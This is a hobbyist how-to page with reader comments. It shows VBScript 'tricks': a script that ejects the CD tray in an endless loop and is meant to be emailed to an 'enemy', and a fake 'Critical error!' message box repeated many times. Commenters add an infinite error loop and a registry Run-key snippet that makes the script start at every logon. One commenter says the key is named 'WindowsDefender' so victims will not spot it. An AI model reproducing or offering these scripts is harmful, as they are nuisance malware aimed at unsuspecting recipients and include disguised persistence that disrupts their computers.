Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Be the First to Share

    Recommendations

    • CNC Contest

      CNC Contest
    • Make it Move

      Make it Move
    • Teacher Contest

      Teacher Contest

    18 Discussions

    0
    None
    Awal4real

    7 years ago on Introduction

    any script to copy the file to the start up folder automatically?

    0
    None
    stealth4

    10 years ago on Step 1

    lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

    2 replies
    0
    None
    UBERBANKAI

    9 years ago on Step 2

    You could just type

    do
    lol=msgbox("Critical Error",16,"ERROR")
    loop

    for a continuous error message

    0
    None
    n1cod3mus

    9 years ago on Step 3

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ---------------

    adds it to the registry for start up

    0
    None
    kei10

    9 years ago on Step 1

    Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

    1 reply
    0
    None
    n1cod3muskei10

    Reply 9 years ago on Step 1

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ----------------------------------

    the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

    0
    None
    GeekBeam

    9 years ago on Step 3

    lol i had to hold dowwn the power button to make it stop

    0
    None
    Colonel88zetsway

    Reply 10 years ago on Introduction

    Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.

    0
    None
    BatchMan

    10 years ago on Introduction

    will this work:

    sub pwn()
    lol = msgbox ("Critical error!" ,16, "ERROR")
    pwn()
    end sub
    pwn()

    0
    None

    add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"